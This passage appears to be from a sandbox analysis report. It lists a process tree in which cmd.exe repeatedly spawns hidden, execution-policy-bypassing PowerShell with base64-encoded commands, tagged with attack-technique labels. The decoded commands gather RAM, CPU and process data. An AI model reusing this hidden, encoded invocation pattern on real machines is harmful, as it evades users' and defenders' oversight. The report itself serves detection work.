G8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:4920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:1760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:6068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:5408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:5380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3068
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  PID:3372
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:4420
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8A